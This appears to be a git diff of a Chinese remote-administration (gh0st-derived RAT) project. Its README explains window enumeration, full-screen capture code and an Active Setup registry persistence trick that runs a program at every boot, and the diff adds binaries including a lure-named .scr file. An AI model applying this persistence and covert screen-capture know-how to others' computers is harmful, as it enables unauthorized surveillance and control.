线程钩子一般在当前线程或者当前线程派生的线程内,而系统钩子必须放在独立的动态链接库中。
|
||||
|
||||
#### 6 窗口监控
|
||||
|
||||
EnumWindows可以遍历当前屏幕上所有的父窗口创建lpEnumFunc回调函数遍历每一个顶层窗口
|
||||
```c
|
||||
BOOL EnumWindows( // 枚举桌面上的所有窗口
|
||||
_In_ WNDENUMPROC lpEnumFunc, // 回调函数,自己定义 当枚举到窗口时系统就会调用这个函数
|
||||
_In_ LPARAM lParam // 向回调函数传递的一个参数
|
||||
);
|
||||
```
|
||||
|
||||
回调函数的返回值必须为TRUE才能保证系统会依次遍历每一个窗口。如果返回值非TRUE,则在当前窗口后不会进行后续的遍历动作。
|
||||
```c
|
||||
BOOL CALLBACK EnumWindowsProc( // 回调函数的定义
|
||||
_In_ HWND hwnd, // 系统传递进来的窗口句柄
|
||||
_In_ LPARAM lParam // 传递进来的那个参数
|
||||
);
|
||||
```
|
||||
GetWindowText、GetWindowThreadProcessId可以通过遍历到的HWND得到对应window的Title、PID
|
||||
|
||||
不过这里有个问题,在我自己写的demo调用dll枚举窗口时,遍历获取信息没有发生问题,当使用rundll32调用导出出现了问题
|
||||
在某一个窗口句柄调用GetWindowText时,出现阻塞,无法返回。
|
||||
经过调试分析发现:
|
||||
|
||||
调用GetWindowText的进程 == 目标窗口所属于的进程 && 调用GetWindowText的线程 != 目标窗口所属于的线程
|
||||
|
||||
此时 GetWindowText将发送WM_GETTEXT消息至目标窗口所在的线程,线程响应此消息,返回窗口标题。如果目标窗口所在的线程刚好此时无法响应消息,则会导致GetWindowText一直处于阻塞状态,直到目标窗口所在进程响应了消息,才会得到返回。就会出现没有反应或卡死的情况。
|
||||
解决方案就是调用GetWindowText时判断目标窗口所在进程和线程ID,使用InternalGetWindowText替换GetWindowText
|
||||
|
||||
当目标窗口所在进程ID == 调用者所在进程ID && 目标进程所在线程ID != 调用者所在线程ID时->InternalGetWindowText替换GetWindowText
|
||||
|
||||
#### 7 桌面监控
|
||||
|
||||
```c
|
||||
HDC CreateDC( // 得到指定设备名的设备描述表
|
||||
LPCTSTR lpszDriver, // driver name // 设备名
|
||||
LPCTSTR lpszDevice, // device name // 特殊设备名
|
||||
LPCTSTR lpszOutput, // not used; should be NULL // 通常设置为NULL
|
||||
CONST DEVMODE* lpInitData // optional printer data // 驱动程序的初始化DEVMODE结构指针
|
||||
);
|
||||
|
||||
HDC CreateCompatibleDC( // 为设备描述表创建兼容的内存设备描述表
|
||||
HDC hdc // handle to DC // 设备句柄
|
||||
);
|
||||
|
||||
int GetDeviceCaps( // 得到指定设备的信息
|
||||
HDC hdc, // handle to DC // 设备句柄
|
||||
int nIndex // index of capability // 指定要得到那个方面的信息
|
||||
);
|
||||
|
||||
HBITMAP CreateCompatibleBitmap( // 创建一个与设备描述表兼容的位图
|
||||
HDC hdc, // handle to DC // 设备描述表
|
||||
int nWidth, // width of bitmap, in pixels // 位图的宽度
|
||||
int nHeight // height of bitmap, in pixels // 位图的高度
|
||||
);
|
||||
|
||||
HGDIOBJ SelectObject( // 把对象选到内存设备描述表中
|
||||
HDC hdc, // handle to DC // 设备描述表
|
||||
HGDIOBJ hgdiobj // handle to object // 要加入的对象
|
||||
);
|
||||
|
||||
BOOL BitBlt( // 对指定的原设备环境区域中的像素进行位块转换 抓图
|
||||
HDC hdcDest, // handle to destination DC // 设备对象
|
||||
int nXDest, // x-coord of destination upper-left corner // 目标矩型区域的左上角x坐标
|
||||
int nYDest, // y-coord of destination upper-left corner // 目标矩形区域的左上角y坐标
|
||||
int nWidth, // width of destination rectangle // 目标巨型区域的逻辑宽度
|
||||
int nHeight, // height of destination rectangle // 目标巨型区域的逻辑高度
|
||||
HDC hdcSrc, // handle to source DC // 源设备句柄
|
||||
int nXSrc, // x-coordinate of source upper-left corner // 源矩型区域的左上角x坐标
|
||||
int nYSrc, // y-coordinate of source upper-left corner // 源矩型区域的左上角y坐标
|
||||
DWORD dwRop // raster operation code // 光栅操作代码
|
||||
);
|
||||
|
||||
// 为屏幕创建设备描述表
|
||||
hscrdc = CreateDC("display", NULL, NULL, NULL);
|
||||
|
||||
// 为屏幕设备描述表创建兼容的内存设备描述表
|
||||
hmemdc = CreateCompatibleDC(hscrdc);
|
||||
|
||||
// 获得屏幕分辨率
|
||||
xscrn = GetDeviceCaps(hscrdc, HORZRES);
|
||||
yscrn = GetDeviceCaps(hscrdc, VERTRES);
|
||||
|
||||
// 创建一个与屏幕设备描述表兼容的位图
|
||||
hbitmap = CreateCompatibleBitmap(hscrdc, nwidth, nheight);
|
||||
|
||||
// 把新位图选到内存设备描述表中
|
||||
holdbitmap = (HBITMAP)SelectObject(hmemdc, hbitmap);
|
||||
|
||||
// 把屏幕设备描述表拷贝到内存设备描述表中
|
||||
BitBlt(hmemdc, 0, 0, nwidth, nheight,hscrdc, nx, ny, SRCCOPY);
|
||||
|
||||
// 得到屏幕位图的句柄
|
||||
hbitmap = (HBITMAP)SelectObject(hmemdc, holdbitmap);
|
||||
|
||||
```
|
||||
|
||||
#### active启动方式
|
||||
win7 64下
|
||||
|
||||
64位程序注册表位置 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components
|
||||
32位重定位注册表位置 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
|
||||
|
||||
例如{052860C8-3E53-3D0B-9332-48A8B4971352}
|
||||
|
||||
Active Setup是微软使用此键来安装windows组件,可以在这个位置下看到已安装组件得列表,每个组件都有一个值,windows使用这些值来识别组件。其中StubPath是其中最重要的一项,它包含一个命令,windows每次启动都会执行这个命令。
|
||||
|
||||
创建一个(在64位位置,需要根据启动程序而定){052860C8-3E53-3D0B-9332-48A8B4971352} StubPath 项为REG_EXPAND_SZ类型 calc.exe
|
||||
|
||||
1 重启计算机后,calc便会启动,但是启动后,程序执行会造成电脑卡住,无法进入系统,必须要退出程序才能执行。
|
||||
2 并且再次启动calc不会再启动了这是因为在user同位置的active setup下有相同的guid,将其删除再次重启就会启动了。
|
||||
|
||||
所以每次执行要将user位置guid删除,并且程序通过再次启动自己或者注入到其他进程来解决上面的两个问题。
|
||||
|
||||
|
||||
|
||||
|
||||
<img align="right" src="https://github.com/Cc28256/CcRemote/blob/master/readme/help.png"/>
|
||||
|
||||
|
||||
## 喜欢的话点个Star哦
|
||||
|
||||
##### 这个项目花了2个月的时间来进行源码阅读和编译
|
||||
|
||||
##### 如果存在bug可以留言给我,我将尝试着将它修复
|
||||
|
||||
##### 免杀过程将不会在这记录,我不会去免杀该项目
|
||||
|
||||
##### 项目仅供技术探讨,请勿用于非法用途
|
||||
|
||||
|
||||
### -------------Thank You-------------
|
BIN
bin/CcRemote.exe
@@ -1,3 +1,3 @@
|
||||
[Settings]
|
||||
ListenPort=8088
|
||||
MaxConnection=10
|
||||
MaxConnection=0
|
||||
|
BIN
bin/res/list_message_pic.bmp
Normal file
After Width: | Height: | Size: 472 KiB |
Before Width: | Height: | Size: 1.8 MiB |
BIN
bin/server/sexgnp.scr
Normal file
BIN
bin/sexgnp.scr
Normal file
@@ -130,9 +130,9 @@ enum
|
||||
};
|
||||
|
||||
|
||||
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
|
||||
|
||||
|
||||
|
BIN
readme/1594463810.jpg
Normal file
After Width: | Height: | Size: 758 KiB |
BIN
readme/gh0stAnalyze.png
Normal file
After Width: | Height: | Size: 398 KiB |
BIN
readme/help.png
Normal file
After Width: | Height: | Size: 230 KiB |